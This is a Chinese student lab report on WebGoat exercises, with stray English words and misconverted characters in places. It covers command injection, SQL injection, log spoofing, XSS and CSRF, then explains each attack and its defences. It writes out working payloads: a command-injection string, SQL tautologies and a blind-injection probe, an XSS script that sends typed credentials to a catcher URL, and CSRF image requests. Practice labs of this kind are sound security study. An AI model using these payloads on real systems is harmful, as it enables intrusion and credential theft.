1、实践目标javascript
理解经常使用网络攻击技术的基本原理,包括(SQL,XSS,CSRF);html
在Webgoat实践下相关实验。java
2、实践过程web
准备工做:sql
1.环境配置:数据库
下好jar包而后放在根目录下浏览器
使用命令 java -jar webgoat-container-7.0.1-war-exec.jar 就能够解压运行webgoat了安全
等待一下子他解压,随后发现他底端出现服务器
说明已经能够登陆网页开始使用webgoatcookie
2.使用webgoat:
打开Firefox,输入 http://127.0.0.1:8080/WebGoat/login.mvc ,访问webgoat。
使用默认帐号和密码登陆便可,
发现左边目录只有8个选项·········
在网上搜了一下,
没找到啥有用的方法···
最后在李师傅的帮助下,使用以下方法解决,
成了!
(一)SQL注入攻击
1.命令注入(Command Injection)
目标:可以在目标主机上执行系统命令
(1)右键网页,点击 inspect Element
,查看并编辑网页源代码,查找 BasicAuthentication.help
,在旁边加上 "& netstat -an & ipconfig"
(2)点击网页中的 view
按钮,就能在网页下面看到系统的网络链接状况了
2.数字型SQL注入(Numeric SQL Injection)
目标:注入一条SQL字符串,以显示全部显示的天气数据
(1)右键网页,点击 inspect Element
,查看并编辑网页源代码,查找 New York
,在 option value
中加入恒等真式 or 1=1
(2)点击 go
就能够看到全部的天气数据了
3.日志欺骗(Log Spoofing)
目标:经过在日志文件中添加一个脚本像用户名“admin”成功登陆
(1)在 user name
中输入 gly%0d%0aLogin Succeeded for username: admin(密码随意)
(2)点击 login in ,
能够看到成功
4.字符串SQL注入(String SQL Injection)
目标:做为Smith,注入一个SQL字符串,显示全部信用卡号
(1)输入永真式 ' or '1'='1
(2)点击 Go!
,就能够查看全部信用卡号了
5.字符串SQL注入(String SQL Injection)
目标:使用SQL注入做为老板(“Neville”)登陆,并使用全部功能
(1)第一次登陆,在 password
中输入永真式,发现失败了,通过查看源代码,找到缘由为:password
最大长度不够,因而在源代码中修改最大长度
(2)输入永真式 ' or 1=1 -- ,登陆成功,
6.盲数字SQL注入(Blind Numeric SQL Injection)
目标:在表格中找到字段pin的值
(1)判断pin的值是否大于2500,
使用命令 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500);
发现无效,因而推断pin的值小于等于2500
(2)使用二分法进行反复猜想,最终找到pin的值为2364
(二)XSS攻击
1.网络钓鱼和XSS(Phishing with XSS)
目标:使用XSS和HTML插入,将html插入到该请求凭证中,添加javascript来实际收集凭证
(1)在 search
框中输入写好的html代码,代码以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
(2)点击 search
后,下拉网页就能够看到输入框,在里面输入任意字符,点击 login
,就能够看到攻击成功了
2.存储的跨站点脚本(XSS)攻击(Stored XSS)
目标:在搜索人员页面上使用一个漏洞来建立包含反射XSS攻击的URL。确认另外一个使用该连接的员工受到攻击的影响。
(1)以下图所示输入,
(2)提交后,再次点击刚刚建立的帖子,成功弹出窗口,说明攻击成功
3.执行反射的XSS攻击(Reflected XSS)
目标:执行反射XSS攻击,在搜索人员页面上使用一个漏洞来建立包含反射XSS攻击的URL。确认另外一个使用该连接的员工受到攻击的影响
(1)在搜索框中输入代码 <script>alert('gly');</script> 后,点击 purchase
(2)弹出窗口,攻击成功
(三)CSRF攻击
1.跨站请求伪造(CSRF)
目标:给新闻组发邮件。电子邮件包含一个URL指向恶意请求的图像。在这节课中,URL应该指向“攻击”servlet,其中包含了“屏幕”和“菜单”参数,以及一 个额外的参数“transferFunds”,它具备任意的数值
(1)查看本身电脑的Screen和menu的值
(2)Title
中任意输入,在 Message
中输入代码,点击 Submit
后,点击下方的连接,就能够看到攻击成功了。代码以下,
<iframe src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1"/>
2.CSRF Prompt By-Pass
目标:输入代码,第一个为转账的请求,第二个请求确认第一个请求触发的提示
(1)查看本身电脑的Screen和menu的值
(2)Title
中任意输入,在 Message
中输入代码,点击 Submit
后,点击下方的连接,就能够看到攻击成功了。代码以下,
<img src="attack?Screen=291&menu=900&transferFunds=6000" WIDTH="1" HEIGHT="1"> <img src="attack?Screen=291&menu=900&transferFunds=confirm" WIDTH="1" HEIGHT="1">
3、实验后回答问题
1.SQL注入攻击原理,如何防护
攻击原理:SQL注入便是指web应用程序对用户输入数据的合法性没有判断,攻击者能够在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非受权的任意查询,从而进一步获得相应的数据信息。注射式攻击 的根源在于,程序命令和用户数据(即用户输入)之间没有作到泾渭分明。这使得攻击者有机会将程序命令看成用户输入的数据提交给We程序,以发号施令,随心所欲。
防护方法:
(1)普通用户与系统管理员用户的权限进行严格的区分;
(2)不使用动态拼装sql,可使用参数化的sql或者直接使用存储过程进行数据查询存取;
(3)增强对用户输入的验证;
(4)多多使用SQL Server数据库自带的安全参数;
(5)必要的状况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
2.XSS攻击的原理,如何防护
攻击原理:在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者经过对网页注入可执行代码且成功地被浏览器执行,这些代码包括HTML代码和客户端脚本,达到攻击的目的,造成了一次有效XSS攻击
防护方法:
(1)在表单提交或者url参数传递前,对须要的参数进行过滤;
(2)检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等;
(3)检查输出,严格控制输出.
3.CSRF攻击原理,如何防护
攻击原理:是一种对网站的恶意利用也就是人们所知道的钓鱼网站,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站,是一种依赖web浏览器的、被混淆过的代理人攻击
防护方法:
(1)在form中包含秘密信息、用户指定的代号做为cookie以外的验证;
(2)验证 HTTP Referer 字段,根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。网站只须要对于每个转帐请求验证其 Referer 值,若是是以 bank.example 开头的域名,则说明该请求是来自银行网站本身的请求,是合法的。若是 Referer 是其余网站的话,则有多是黑客的 CSRF 攻击,拒绝该请求;
(3)在请求地址中添加 token 并验证,能够在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端创建一个拦截器来验证这个 token,若是请求中没有 token 或者 token 内容不正确,则认为多是 CSRF 攻击而拒绝该请求。
4、实践体会
这是最后一次实验了,经过webgoat深刻理解并运用了多种攻击,尝试了不少东西,这九次实验,能够说是很是有意思了(除了调试环境、调试bug),收获良多,虽然不能成功攻击他人,可是可以认识而且作出相应的防范了。学习到了很多的东西,也进行了屡次的实践与尝试。
感谢老师的讲课!感谢各位同窗帮助!